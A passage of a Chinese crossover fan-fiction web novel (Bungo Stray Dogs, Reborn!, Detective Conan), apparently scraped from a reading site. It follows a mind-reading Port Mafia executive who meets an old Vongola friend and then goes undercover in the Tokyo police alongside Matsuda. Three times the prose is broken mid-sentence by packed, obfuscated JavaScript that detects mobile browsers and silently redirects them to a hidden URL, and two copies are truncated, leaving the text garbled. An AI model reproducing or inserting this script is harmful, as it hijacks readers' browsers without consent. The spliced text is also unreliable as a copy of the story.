公安警察紫灰色的眸色在夜色中极为明显,他面无表情,有些冷冰冰地问了一句:“这次的行动,你瞒了我什么。” - “体检?”没想到大晚上地被叫过来会听到这种事,中原中也对于森鸥外的话第一个发出了疑问。 “是爱丽丝的主意吧。”尾崎红叶抿了口茶,熟练地接话道。 “没办法。”森鸥外双手交叉,无奈叹气,“我没有办法拒绝可爱的爱丽丝酱的请求嘛。” 首领室的门在这时被敲响两声,雾岛光希推开门的一瞬间,所有人不约而同地都安静了下来。 中原中也:“……不是开会吗。” 雾岛光希走进门,松手时背后的大门自动合上:“嗯。” 中原中也:“……那你穿着睡衣做什么。” 雾岛光希低头瞄了眼:“来之前首领和我说了是体检的事,让我不用太在意穿着。” “而且。”雾岛光希板了张脸,“中也,这不是睡衣。” “……” “是不出任务可以穿的休闲装。” 虽然在外面套了一件黑色的长款风衣,但作为内搭的深蓝色真丝上衣垂感很好,由于一看就很贵,所以大概率不是雾岛光希自己买的。 “……” 房间里的几个人对视一眼。 【绝对是森先生买的,然后骗他是什么休闲装吧。森先生又开始以公谋私,满足他自己的恶趣味了】 【说是什么日本文化之类的,总之一开口雾岛就信了,雾岛刚来日本的时候,不是还有人骗雾岛说日本人谈生意都是边泡澡边谈的吗】 【也有可能是雾岛觉得穿着舒服,以他这种躺下了就不想站起来的性格,只要穿着舒服,根本不会在意是什么衣服】 雾岛光希的头顶冒出个问号。 他再次低头看了眼自己的穿着。 没错啊,他和斯库瓦罗小时候在家里都是这么穿的,又不像睡衣,还很宽松,之前太宰躲在棕熊玩偶里满大楼追着中也跑的时候他们怎么没人有意见。 他们连玩偶服都不在意,这么在意他穿什么干什么。 【话说他过来的路上,就没有别人看到吗】 【从雾岛那一层的宿舍,到这边有专用电梯。以他刚刚回消息的速度,估计是坐的专用电梯……等等,老大和雾岛的关系有亲近到送雾岛这种衣服的地步?】 【中也这个表情是怎么回事,哇,看来和Q君一样,脑容量为零的蛞蝓也不能留了】 就算是假的雾岛光希也听不下去。 他张唇,忍无可忍地回了一句:“是我自己买的。请不要质疑我的品味。” 几个人再次对视一眼。 太宰治:“我可没有质疑过。” 中原中也:“啊,那个,看着还挺舒服的。” 尾崎红叶:“妾身以为你的那位新副官把你出行需要的衣服都买好了?” 雾岛光希:“上次陪首领逛街,首领建议我不要总穿黑色。” “……” 几个人第三次对视一眼。 【完全就是被鸥外大人骗了啊】 【没有人在意这两个不该私自行动的人相约去逛街的事吗】 【所以森先生才是最不能留的】 【雾岛的脑子里果然除了工作和睡觉就没有别的东西,他到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“光希。”尾崎红叶悠闲地抿了口茶,“你要是在其他地方也这么敏锐就好了。” 【虽然他知道了也没什么用,以他的性格,难道还能把人抛弃了不成?】 “麻烦了啊……” 太宰治叹息一声。 “让这种东西流入市场,过不了多久,我们的生意可就没法做了。” 【但能研究出这种东西,背后的团体想必也是个庞然大物。港口黑手党刚刚从魏尔伦的事件里脱身,在抚恤金和重建方面花了一大笔钱,不适合贸然在明面上展开行动】 听着太宰治的心声,雾岛光希稍微感到些讶异。他还以为太宰一听这种麻烦事就会丧失干劲,结果已经想了这么多吗。 欣慰.gif “毕竟是对普通人也有害的东西。”森鸥外若有所思,“种田阁下的意思是借用警方的名义,当然,如果这次合作顺利,我们也能从内务省那边拿到些好处。” 雾岛光希的太阳穴突突地跳:“警方那边的线人,一直是公关官在对接。” 森鸥外歪了下脑袋:“如果公关官能在明天醒来,交给他也可以。但我记得,先代时期,和公关官一起培养警方那边的线人的,还有光希君你吧。” 雾岛光希面无表情,但急得冒出了好多字:“……从六年前开始,那位线人就有一见到我就会晕倒的毛病。我可以借用公关官的名义,联络那位线人,然后再让其他人去对接。” “卧底这种东西呢,就算拿一些事情威胁他们,也很难信任第一次见到的人。” 森鸥外慢悠悠地陈述了事实。 “再说了,光希君。作为干部,你不能一直逃避需要和外人交涉的任务。” “能以不同的身份见到以前的朋友,我还以为你会高兴呢。” “……” 雾岛光希高兴不起来。 他一不觉得松田阵平和自己是朋友,二松田阵平是专业拆弹的,和他喜欢搞爆/炸的兴趣截然相反。 他装一个,松田阵平拆一个,他装两个,松田阵平拆完两个还要得意地说这种东西他三分钟就能解决—— 这不是明晃晃的八字不合吗。 森先生到底哪里觉得他会高兴了。 10. 第 10 章 因为之前易容用的道具差不多消耗完了,听森鸥外交代完事情后,雾岛光希又和尾崎红叶他们聊了会天,再出门时已经是晚上十一点。 黑夜是黑手党的地盘。街道上来往的人群欢声笑语,受到庇护的商铺也亮着灯。温凉的风将青年肩上的长发吹起一些,雾岛光希微微侧过脸,最后将目光落在停在路边的那辆黑色轿车上。 “你就打算一直站在对面和我说话了吗。”靠在车边的狱寺隼人开口,那双祖母绿的眼睛在霓虹灯下散发出别样的光泽。 雾岛光希阖眼,双手插在口袋里,很自然地走过去。 “首领让我招待你。” 雾岛光希在距离狱寺隼人旁边一米的地方靠着,他说话时没看向对方,反倒是抬眸以这个角度观赏了会港口黑手党的大楼。 话是这么说的,但雾岛光希根本没做。 毕竟以狱寺隼人那种根本不放心把自家首领交给别人保护的性格,大概没有那种让他招待的闲情逸致。 又省力了。 雾岛光希阖眼,心里的小人偷偷地笑了下。 狱寺隼人瞥了他一眼,目光最后落在他腰间随意系的结上。 【他在风衣里穿了什么,又开始穿着睡衣乱晃了吗】 雾岛光希心里的q版小人笑容消失。 都说了不是睡衣!狱寺隼人这没品味的家伙! “你大晚上的出来干什么。”狱寺隼人说。 雾岛光希:“买东西。” 狱寺隼人:“那种事情交给你的部下不就好了。” 话音刚落,狱寺隼人注意到拐角处的几个巡逻人员。他们似乎没料到这个时间点雾岛光希会出现在楼下,一时间愣在原地,根本连看也没看狱寺隼人一眼,出于尊重,恭敬地和雾岛光希行礼后,就一溜烟地跑走了。 雾岛光希仿佛习惯了这样的行为:“自己的事情自己做。” 【根本就是被讨厌了吧,他知道他那杀人不眨眼的名声都传到意大利来了吗】 虽然心里是这么想的,但狱寺隼人还是回了句:“随便你。” “……”雾岛光希下意识地想反驳自己没有被讨厌,但最后还是把这句话憋了回去。 一来讨厌他的人多是事实,二来听到的声音只能作为参考,又不一定是真的,万一说错了还要被嘲讽一通。 “你找我有什么事。”微妙地感到些不爽,雾岛光希眯起眼,总算侧过脸去,向旁边的狱寺隼人问话。 二十四岁的狱寺隼人已经不是十四岁时一点就炸的性格,作为那位教父的左右手,狱寺隼人早在几年前就成长为了沉稳可靠的真正的守护者。 他手上的饰品很多,每一件却都是用于战斗的武器,几枚不同的戒指戴在不同的手指上,红色的衬衣领口散开一些,要不是总摆着一副生人勿近的表情,光凭他那张帅气的脸蛋,完全是走在路上会被要联系方式的类型。 【……才和他说了几句话,他就嫌我烦?】 “只是来确认一些事。”狱寺隼人看向港口黑手党大楼的灯光道,“阿莱西奥,要不是十代目让我回去前和你打声招呼,我也不想以这种形式见你。” 时隔好多年,再次从狱寺隼人嘴里听到自己这个名字,雾岛光希一时间有些恍惚。 他甚至下意识地想去询问沢田纲吉的近况,但以他们现在的立场,去和作为守护者的狱寺隼人打探他们首领的消息,似乎是件很没有礼貌的事。 “那就这样吧。”雾岛光希直起身,朝商铺的方向走去,“我也是很忙的,替我向彭格列问好。” 狱寺隼人没再说话。一直到雾岛光希的背影消失,他才站直身子,没再靠在车后座的玻璃上。 引擎发动,黑色的轿车亮了灯,缓慢地在街上行驶。直到驶入较为繁华的地段,街灯才将坐在后座的人的侧脸映亮。 那是个有些奇怪的身影。 黑色的西装妥帖,肩上随意地搭着披风,金色的链条在灯光下呈现出不同的光泽,明明神色和五官都很温和,身上却散发出一股上位者的气息。 “我还以为会被光希发现。” 沢田纲吉轻笑,刚才看到光希过来的时候,莫名就有种不可以在脑子里想东西,不然会被光希发现的直觉。 “不过,要是我突然出现在这里,会给光希造成很大的麻烦吧。” 光是在横滨被拍到一个侧影,沢田纲吉就被已经reborn冷嘲热讽到了现在。 尽管十四岁就继承了世界上最古老的黑手党,但里世界很少有人知道有关沢田纲吉的资料。不被允许念出他的名字,更不被允许留下任何的影像资料,所有人提起沢田纲吉,称呼的不过是一声“彭格列”罢了。 狱寺隼人冷哼,嘴硬地回:“他早就把以前的事否定得一干二净了,又没必要顾虑他的心情。” 沢田纲吉笑笑。他看着街边的景物,就算已经离开了很远,依旧能看到港口黑手党那几栋高耸的大楼。 光希变高了,那件事后,也愿意和人说话了。 “别这么说。”沢田纲吉注视着那栋建筑道,“魏尔伦那件事传回来的时候,隼人,你不也很担心光希吗。” “光希和阿武不一样,你不直接说出来的话,他会以为你在和他生气。” 这话要是从山本武嘴里说出来,狱寺隼人或许还会在明知道正确的情况下反驳两句。但作为沢田纲吉的左右手,狱寺隼人沉默片刻,还是低声回了句“我知道了”。 不管别人怎么说,沢田纲吉始终认为,就算选择了不同的路,就算效忠的家族可能对立,朋友始终都是朋友。 “况且,我稍微也有点好奇……” 沢田纲吉低下眼,看着指间戒指上的图案。 “能让光希真心为之努力的地方,到底是个什么样的组织。” - 根据片山临死前招供的内容,药剂的流通指向东京的一个名叫[哥沃兄弟会]的组织。规模不大,大概率只是被背后某个集团推出来的挡箭牌,但如果要继续深挖下面的内容,就只能从对方的成员那下手。 “据我所知,这个组织是之前山口组的二当家出来后自己创办的。” 雾岛光希垂眼,边看着手上的报告,边听旁边的人汇报。 “这个二当家名叫高桥一,和日井集团的会长交往密切,这次也会参加日井集团分公司成立的庆祝仪式。不过,由于日井会长收到了杀人预告,所以到时候在场的可能还有几位警察,要是知道您也要去,我就先安排我这边的人执行这次任务了。” 鹤川正人冷汗涔涔。他六年前被安插进警视厅,现在已经升为了警视。尽管经历了港口黑手党更换首领的事,但鹤川正人一直与公关官保持着联络,不敢生出丝毫叛变的心思。 原因很简单。 早在他被派到这里以前,雾岛光希就已经用异能标记了他。自己会不会和气球一样爆/炸,完全就是这人一句话的事。 因此,当鹤川接到来电显示为“公关官”的电话,刚想热情地打个招呼,却听到一句冷冰冰的“是我”时,当场差点心跳骤停晕过去。 【为什么是这个瘟神啊!!港口黑手党他妈现在是没人了吗,这种小事也要雾岛他亲自过来】 【我靠我靠我靠,雾岛干部为什么不喝我泡的茶,难道是因为低于60℃雾岛干部就不喝了?早知道有今天,我就去买个恒温加热器】 被称为“瘟神”的雾岛光希一顿,他抬起眼,观察了一脸正色的鹤川一会,试图令自己看起来亲和一些。 “鹤川。”雾岛光希说,“你不坐吗。” 鹤川讪笑:“我坐太久了,站着松松筋,要不您先坐?” 【我又不是不想活了,雾岛干部还站着,我去坐下不是找死?】 雾岛光希:…… 雾岛光希:“我不用了。这里是警视厅,你可以不用顾虑我,随意行动。” 鹤川:“不不不,就算是警视厅,作为港口黑手党的成员,我也要凡事以您为重。” 【雾岛干部点我呢,是不是哪个叛徒临死前还想拉我下水了?不可能!绝对不可能!我是绝对不会上当的!】 雾岛光希面色平静,他试图和鹤川拉近关系的计划失败,外表看上去满不在乎的,实际上是根本没招了。 为什么说的他跟动不动就杀人的杀人狂一样,他上次见到鹤川还是三年前公关官说请他吃饭,顺路来找鹤川拿份资料的时候吧。 “您的手怎么了?”注意到雾岛光希手指关节处的红痕,鹤川抓住机会献殷勤道。 雾岛光希看了眼自己的手:“昨天处理了下藤原的事。警视厅的人应该也有参与,我以为你知情?” 鹤川当然知道,但他不知道和搜查一课的那几位发生冲突的会是雾岛光希本人。 他腿一软,差点就这么跪下来。 【我就知道,我就知道迟早会出事】 【搜查一课那几个人成天带着个小学生晃来晃去,那小鬼也是个瘟神!走哪死哪,搁我这演死亡笔记呢他】 雾岛光希听着鹤川的吐槽,心想那可不是普通的小学生。那是一个滑板滑得比车还快,有着高科技球鞋,脑袋比大多数大人还要聪明,疑似有琴酒做靠山的小学生。 雾岛光希昨天回去后还思索了会,要不要出于以前的合作关系和琴酒道一声恭喜。但转念一想,琴酒大概率不想让别人发现他和那个江户川的关系。 于是那时的雾岛光希盯着手机屏幕发了会呆,最后还是决定装作什么也不知道。 “负责日井这个案子的是目暮警部那个行动组?”雾岛光希合上资料,没再说多余的话。 但他想了想,为了避免鹤川和三年前一样在公关官面前因为自己晕过去,还是贴心地多叮嘱了几句。 “待会不要对我用敬语,也不用对我这么客气。” 鹤川点头如捣蒜。 雾岛光希:“。” 雾岛光希:“你听清楚了吗。” 鹤川:“听清楚了。” 见雾岛光希半信半疑地迈开脚步,鹤川蹭的一声蹿到门边,恭敬地替他拉开了门。 雾岛光希:“……” 鹤川正人:“……” “咳。”在雾岛光希的凝视下,鹤川犹豫着松手,他深吸一口气,挺直腰板,强撑着走在雾岛光希前面。 【不要这么客气,不要这么客气】 鹤川正人默念着这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267600|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句。 一直走到搜查一课的办公区,雾岛光希都听着他这么碎碎念。 “……”都和森先生说了他不来不来,鹤川这人六年前一看他就晕了,雾岛光希甚至都有些担心他待会会直接晕过去。 晕过去怎么办,不能怪到他头上吧? “目暮老弟,这就是我之前和你说的,可能要在你们这待一段时间的警官。” “哦哦,看着很年轻啊,刚从警校毕业吗?” 雾岛光希没理会目暮警部和鹤川之间的寒暄,他的目光扫过四周,出于本能地记下每一个摄像头的位置和可以躲藏的地点,最后视线落在一个凌乱的工位上。 台式的电脑停留在息屏画面,而笔记本电脑合着。几份用红笔标注的文件没有规律地散开,隐约可以从漏出来的一张照片上看到昨天那辆被他烧毁的车。 【不要这么客气,不要这么客气】 “已经毕业有一段时间了,之前也在别的科学习,在让他正式定岗前,我想让他在实践中锻炼一下。” “这位……” 【不要这么客气,不要这么客气,鹤川,这里可是警视厅,雾岛干部再怎么样也不会直接炸了你的】 “哦,对。”鹤川反应过来,“这位是雾岛……” 鹤川正人噤声,他感到雾岛干部的视线挪回来,暗道自己完了。和之前的剧本不一样,因为太紧张,他竟然想不起雾岛干部让自己记的假名。 “雾岛希。”雾岛光希点头,不是很在意地接上鹤川的话,“叫我雾岛就好。” “那就是雾岛警官。”目暮十三不明所以地看了眼脸色惨白的鹤川警视,和雾岛光希握了个手。 在他的印象里,这位职业组出身的警视向来是能说会道的,没见过他这么话少的时候。 “松田!”看到咬着三明治进门的松田阵平,目暮十三和对方打了个招呼,“昨天和你们说的新人来了,雾岛警官,如果对工作流程有什么不熟悉的,你可以问松田警官。” 【……雾岛?】 松田阵平抬手,捏住三明治的边缘,咬下一口。 又来了。那种莫名其妙的熟悉感。 面前转过来的青年有着张清秀的脸。他黑色的长发搭在肩上,眼睛是湖泊般的蓝色。 没有证据。 但松田阵平是个相信直觉的人,尤其是昨天才刚刚被耍过一次。 【先是和雾岛相像的人出现,现在又直接来了个和对方同名的家伙,都是巧合的可能性有多大?】 “带新人这种事交给佐藤不就好了。”松田阵平懒洋洋地,“还有,你的头发上有花瓣。” 雾岛光希垂眸,还没看清松田阵平说的是哪里,就感觉自己的某根头发被扯了一下。 “……” 【哦】 松田阵平心想。 【看来不是假发,难道和昨天那家伙是两个人?】 【死了死了死了死了,这世界上还有第二个敢揪雾岛干部头发的人吗——我死了我死了我死了,我死之前一定会拉这家伙下水的!】 鹤川的视线聚不了焦,心态爆炸:“有花瓣你直接说不行吗,你多少自来熟了点。” 松田阵平没有回话。他依旧盯着雾岛光希的脸,目光锐利,带了几分探究,似乎是在等待对方开口说话,以捕捉到某个可以证实自己猜想的证据。 “没关系。” 可遗憾的是,这个人开口时,声音和【日影光希】完全没有一点相似之处。 “我从鹤川警视那边听说了昨天的案子,据说嫌疑人和我一样是发型,松田警官怀疑我也是情有可原。” 早就料到了现在的局面,昨天彻夜染头的雾岛光希伸出手。 虽说被松田阵平发现自己以前的身份也没什么,但雾岛光希懒得解释那么一大堆,为了避免这家伙发现自己的头发是染的,雾岛光希觉得还是把头发要回来好。 松田阵平挑眉,说了声“抱歉”。 身高和背影几乎一模一样,而且就在松田阵平得出“这个人可能来自警察内部”的结论后,目暮警官突然说有个新人要来待段时间。 别人怎么想松田阵平不知道,反正他是觉得怎么看怎么可疑。 “你之前在哪个部门。” “警护课。” “放着那种好差事不干,跑到搜查一课来做什么。” 雾岛光希不以为意:“冒犯了需要保护的某位大人物,已经干不下去了。” 松田阵平嗤笑:【你这可不像干不下去的样子】 “差不多行了。”眼见鹤川警视的脸色越来越差,知道松田在怀疑什么的目暮十三打圆场道,“松田,雾岛警官昨天和鹤川警视在一起,难不成每来一个陌生面孔你都要学搜查二课找基德一样捏他的脸吗?” “……” “…………” 和快要裂开的鹤川正人不同,和雾岛光希对峙着的松田阵平倒是悠闲。 “怎么会。”松田阵平矢口否认。 话是这么说…… 曾经刚入学就和松田阵平打过架的雾岛光希沉默,下意识地瞥了拉开椅子的后者一眼。 松田这家伙,他一定会干的。 11. 第 11 章 这件事最后在鹤川死到临头爆发出的一声咆哮中中止。 雾岛光希决定离松田阵平一米远。 这也就导致了明明是一个组的成员,雾岛光希和松田阵平之间却坐了一个正襟危坐的高木涉。高木涉左看看,右看看,被这两人之间的低气压弄得后背笔直,别说吃饭了,根本连水都喝不下。 松田阵平漫不经心:“据我所知,警护课里得罪了大人物的存在可不应该被调到搜查一课。” 试图扮演出个和以前截然不同的角色,雾岛光希礼貌地多说了两句:“我又不是第一系和第二系的成员,只是在执行特别保护任务的机动队而已。” 【为什么,到底是为什么】 高木涉在内心里无助地碎碎念。 【明明聊的是正常话题,这两个人之前也没有见过面,难道是气场不合吗,为什么我会感到一种针锋相对的气氛】 “雾岛……雾岛……”相比之下,佐藤美和子捏着下巴,总觉得在哪听到过这个姓氏,“我怎么感觉高木和我提到过……” 高木涉一愣,突然反应过来,喃喃自语了一句:“这么说来,之前伊达警官和我说过,松田警官喜欢的人就姓雾岛来着。” 松田阵平一口咖啡还没咽下,瞬间喷了出来:“噗——” 雾岛光希皱眉,瞥了眼高木涉旁边不停咳嗽的松田阵平一眼。 “咳,咳咳咳,什么啊!班长到底和你说了什么乱七八糟的!” 高木涉挠了挠头:“好,好像也不是这么说的?那时候我和伊达前辈执行任务回来,伊达前辈刚好看到了街边电影的宣传片,然后就笑着说了声要是雾岛还在,大概和松田也会像电影里这样。” 雾岛光希松了口气。 佐藤美和子揶揄:“喔~爱情电影?” 雾岛光希又没气了。 “喂。”没注意到隔着一个人的雾岛光希的小动作,松田阵平眯起眼,没好气地回道,“你们根本连雾岛是谁都不知道吧。” 雾岛光希思索,想起自己的这个名字似乎也是个大众姓氏,说不定他们讲的是另一个雾岛呢。 “我知道我知道。”隔壁组的组员滑着凳子就加入了八卦,“以松田警官的品味,肯定是个腰细腿长的大美人,他看电影都看这一挂的。” 松田阵平半月眼:“这话你到隔壁警察厅说去。” “我干嘛到隔壁警察厅,我又不在……等等!”隔壁组的组员瞪大眼睛,反应过来,“是那个雾岛吗?” 由于职业需要,警察里留长发的人不同,留长发的男性更是少之又少。当初公安破格将【雾岛光】选入警察厅,不少人都在背后骂他娘娘腔之类的话。 可随着【雾岛光】和他们协同出任务的次数越来越多,时间一长,警察厅里也就没人再议论那位雾岛警官的发型。 “可惜了。”隔壁组的警官惋惜道,默默地把椅子滑回去,“松田,你可别去隔壁散播我说雾岛警官坏话的谣言,我还不想下次联合行动的时候被他们绊一跤。” 雾岛光希瞄了眼这个面生的警官,心想他考虑得还真多。警察厅里讨厌他的人也不计其数,之前公安那边的前辈还语重心长地扶额,问旁边正好过来有事的教官,说【“虽然我知道雾岛不是那个意思,但他这样在警校的时候,真的不会被套麻袋打一顿吗”】。 套麻袋倒没有。但入学的第一天,雾岛光希确实因为说话的艺术和降谷零还有松田打了一架。 不能表现出实力,先代的脾气比森先生差多了。 遵照先代的命令,雾岛光希边躲还得边思考怎么装作自己是个普通人。 他那天唇角淤青地回去,公关官眨了眨眼,问他难道是左脚绊右脚,磕到哪个台阶上,这才遭遇了不幸。 雾岛光希宁愿承认自己是左脚绊右脚,也不愿意承认自己是被松田阵平打的。 “嚯~”松田阵平嗤笑,“你刚刚不是还聊得很开心吗。” “我可没有啊,你别乱说。”隔壁组的警官双手环胸,板这张脸,“天地可鉴,我可是很尊重为了救人质而牺牲的雾岛警官的。” “牺牲?”高木涉怔了下,由于调到这里来的时间比较晚,显然不知道四年前的那件事。 “好像是有听前辈说过。”佐藤美和子观察了一下松田阵平的脸色,“本来那位雾岛警官已经不怎么出外勤了的,那天只是路过……” 【连尸体都没看到,那家伙才没死】 雾岛光希的手一顿,听到松田阵平的心声后,下意识地侧过脸看向不动声色地喝着咖啡的松田阵平。 “松田。”隔壁组的组员摇头晃脑,“你总不能因为人和雾岛警官一个姓氏,就针对人雾岛警官吧。你小学生吗。你说是吧,雾岛?” 这句话有点绕,雾岛光希反应了几秒,才注意到对方是在和自己说话。 他沉吟片刻,本想顺着这句话回句“嗯”,但松田阵平欠揍的声音又在脑子里响了起来。 【要是被我发现那家伙模仿福尔摩斯假死,我就要给那家伙脸上来上两拳】 当初为了省事,确实参考了福尔摩斯在莱辛巴赫瀑布假死的手法的雾岛光希:…… 要不先找个机会把松田阵平打死吧。 “不知道。”雾岛光希冷笑,回的话冷冰冰的,致力于让松田阵平在自己抓到高桥前离自己一米远,“我又不关心松田警官的想法。” 松田阵平嘲笑:“只敢躲在高木背后的人也好意思这么说?” 雾岛光希的手指不紧不慢地敲过键盘,听到这话头也不回:“我不是躲在高木警官背后。我只是得了一种病。” “什么病。” “靠近松田警官就会全身过敏,想把您的头发也扯下来的病。” “你现在怎么不过敏?” 雾岛光希面不改色,讲了个冷笑话:“因为我现在是个善良的警察。” 哈哈。 “……” 松田阵平无语,目光扫过周围憋笑的几人。 “哈哈哈——”由于和松田阵平没有搭档关系,隔壁组的警官率先捂着肚子笑出了声,“不行了,松田,原来你也有被怼得说不出话的一天。” - 日井集团的庆祝仪式定在两天后,为了保证出席活动的宾客的安全,日井会长这几天一直在配合警方加强现场的安保。 “[尊敬的日井阁下,当卡斯托尔与波鲁克斯重逢之日,我将背负天正十一年,不可解脱的幸存者之使命,取下您的首级]。”目暮十三拿着那封寄过来的[杀人预告],缓慢地念了一遍上面的字。 日井集团的人还在有条不紊地布置着现场,日井会长叹了口气,用抱怨似的口吻回道:“几天前在我的邮箱里发现的,我调取了别墅门口的监控,结果发现放信的那个人从头到脚都裹得严严实实,根本看不出脸。” 目暮警部:“方便给我们看一下那段录像吗?” “当然。”日井会长点头,对着等候在一边的秘书吩咐,“石下,把那份录像带拿出来。” 松田阵平抬头,看着天花板上的吊灯:“嫌疑人是走路过来的?” “那倒不是。”日井会长说,“他开了辆红色的车,但是没有车牌,我问了附近的邻居,说从来没看到过那辆车出现过。” 松田阵平皱眉,又问:“那辆车是什么型号?” 日井会长双手环胸,思考了一会:“保时捷911吧,因为我也有一辆,所以看到的第一眼就认出来了……不过细看好像和我的那辆又有点不同,说不出哪里奇怪。” 【果然】 松田阵平和目暮警部对视一眼,不约而同地想到了昨天光明正大地从警方眼皮底下逃脱的【日影光希】。 雾岛光希:…… 雾岛光希不知道这自己根本没做过的事为什么要安到自己头上。 这世界上开保时捷的人多了去了。松田阵平不能以后每看到一个开保时捷的犯人都觉得是他吧? “但这封预告函到底是什么意思。”佐藤美和子皱眉,对于预告函的部分内容还没有头绪。 “是古希腊神话哦。” 稚嫩的声音从身后不远处传来,雾岛光希回头,看到被毛利兰牵着的江户川柯南。 小朋友笑得甜甜的:“卡斯托尔与波鲁克斯是古希腊神话里的一对双胞胎兄弟,不过,波鲁克斯是宙斯之子,卡斯托尔却是凡人,在一次战斗里,卡斯托尔不幸被杀,于是波鲁克斯就向宙斯祈祷,让自己与卡斯托尔永远在一起。” “柯南!”佐藤美和子惊讶,没想到江户川柯南也会出现在这里。 松田阵平挑挑眉:“你还真是无处不在啊。” “嘿嘿。”江户川柯南摸了摸后脑勺,“是园子姐姐邀请我们过来的。” 铃木园子半月眼:“我明明只邀请了小兰,是你们这群小鬼头听说预告函的事,硬要跟着我过来的。” “我们也可以帮上忙的!”吉田步美立即发言道。 圆谷光彦:“是啊是啊!我们可是少年侦探团!对吧,灰原同学?” 和这几个小孩子表现得完全不一样,灰原哀倒是很冷静。她没有立即回话,目光在捕捉到看着自己的雾岛光希时微微睁大眼,随即心脏一缩,下意识地后退一步。 【这个感觉……】 【他是组织的成员?】 圆谷光彦疑惑:“灰原同学?” 注意到灰原哀的举动,江户川柯南随即也向雾岛光希看去。 【灰原只有在碰见组织的人时才会这样,但组织的人怎么会和目暮警官他们在一起?】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267601|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雾岛光希:…… 雾岛光希面无表情。 什么叫做【只有在碰见组织的人时才会这样】,这个叫灰原的小姑娘难道有琴酒雷达吗? 雾岛光希挑眉,倒不知道那个组织什么时候有这么多年幼的成员。 呵呵。 他下次万圣节cosplay琴酒,吓大家一跳。 “这个大哥哥是?” “是刚从警护课调过来的雾岛警官。”佐藤美和子撑着膝盖,微微弯腰,耐心地解答了江户川柯南的问题,“柯南,你刚刚说的那个神话是什么意思?” “是双子座的由来啦。”江户川柯南十分流畅地回答道,“双子座引申为数字,常常代表二的含义,所以[卡斯托尔与波鲁克斯重逢之日]指的就两天后日井会长举办宴会的时间。” “那[背负不可解脱的幸存者之使命]……” “是八吧。”松田阵平不紧不慢地回道,“天正十一年,丰臣秀吉麾下的[贱岳七本枪]非常有名。不过因为他们太有名了,其他牺牲的人的名字就被淡忘,后来就有了[幸存的第八位武士]的说法。” 佐藤美和子直起腰:“那就是两天后的八点……日井先生,您记得自己与谁结过仇吗?” “生意场上结仇的事多了去了。”日井会长叹息道,“要是知道谁有嫌疑,我也不用花大价钱雇一群人来保护我。” 雾岛光希注意到从刚才开始,会场里就有不同的工作人员在悄悄往这边看。他们穿着日井集团的工作服,走路时却保持着一只手不动,显然是随身带了枪。 “松田警官。”趁雾岛光希不注意,江户川柯南悄悄拉了拉松田阵平的衣角,示意他弯下腰来,“雾岛警官昨天在哪?” 松田阵平知道他想问什么,但为了报对方也不告诉自己“琴酒”是谁的仇,懒洋洋地说了句:“小孩子知道那么多干什么。” 江户川柯南的嘴角抽了抽:“……” 【呵呵,松田警官绝对是故意的】 “柯南。”听到松田阵平的话,毛利兰把江户川柯南抱起来,“不可以打扰他们工作哦。” 猝不及防地被抱在怀里,江户川柯南仰头,看到毛利兰担忧的神色,不可避免地耳朵一红。 【兰这个笨蛋】 雾岛光希:? 雾岛光希的目光从远处疑似被高桥一派来保护日井的人身上移开,他看看江户川柯南,又看看毛利兰,小小地“哇哦”了一声。 松田阵平:“你哇什么。” 雾岛光希:“您不也看出来了。” 松田阵平:“小孩子喜欢大姐姐有什么奇怪的。” 那位看上去是他的监护人,明显是不健康的行为。 虽然知道“懒得回话”很容易让松田阵平发现端倪,但雾岛光希真的没什么精力了。 他瞥了眼旁边的松田阵平,还记得对方以前骗诸伏景光帮他带某种碟片,结果诸伏景光以为那是旅游纪录片,很听话地去了DVD店,结果从限制级区红着脸出来的事。 降谷零为了替他的幼驯染报仇,那段时间可谓是微笑着狠狠报复了一顿松田阵平。 “话说回来。”雾岛光希侧过脸,“松田警官,您的注意力可以不要一直放在我身上吗。” “别自作多情了。”松田阵平双手插兜,鼻梁上架着昨天晚上新买的墨镜,“只是最近的温度还没有到穿高领的地步,你除了过敏还有怕冷的毛病?” 为了盖住脖子上的变声器,特地穿了件高领的雾岛光希:…… 受不了,又不是特别高的领子,松田阵平怎么连他同事穿什么都管。 “怎么。”闻言,雾岛光希笑起来,他的声音温温柔柔的,说的话却跟剪刀似的,“扯我头发还不够,现在还关心起我的穿着了,这看起来就像……” 【爱情的气息】 本来是想说[像仇人一样]。雾岛光希沉默,他转过头,看向角落里眼神闪闪发亮的女生。 如果没记错的话,这就是一天前,给雾岛光希灌输了很多听也没听过的词,名叫雪代的那位案发现场第一发现人。 【过去的cp已成历史,日影先生的脸略逊一筹,毒舌前辈x冷淡后辈的设定才是最好磕的!】 松田阵平:“就像?” “……不像了。”雾岛光希默默收回视线,声音幽幽地,“东京真是个充满未知和危险的地方。” 松田阵平盯着他的脸看了会,从这个角度,甚至能看到雾岛光希睫毛微微上翘的弧度。 “雾岛。” “嗯。” “你把你自己气疯了?” “。” 雾岛光希隐忍地闭上眼。 如果好感度能具现化,那么他现在对松田阵平的好感绝对是负一百。 12. 第 12 章 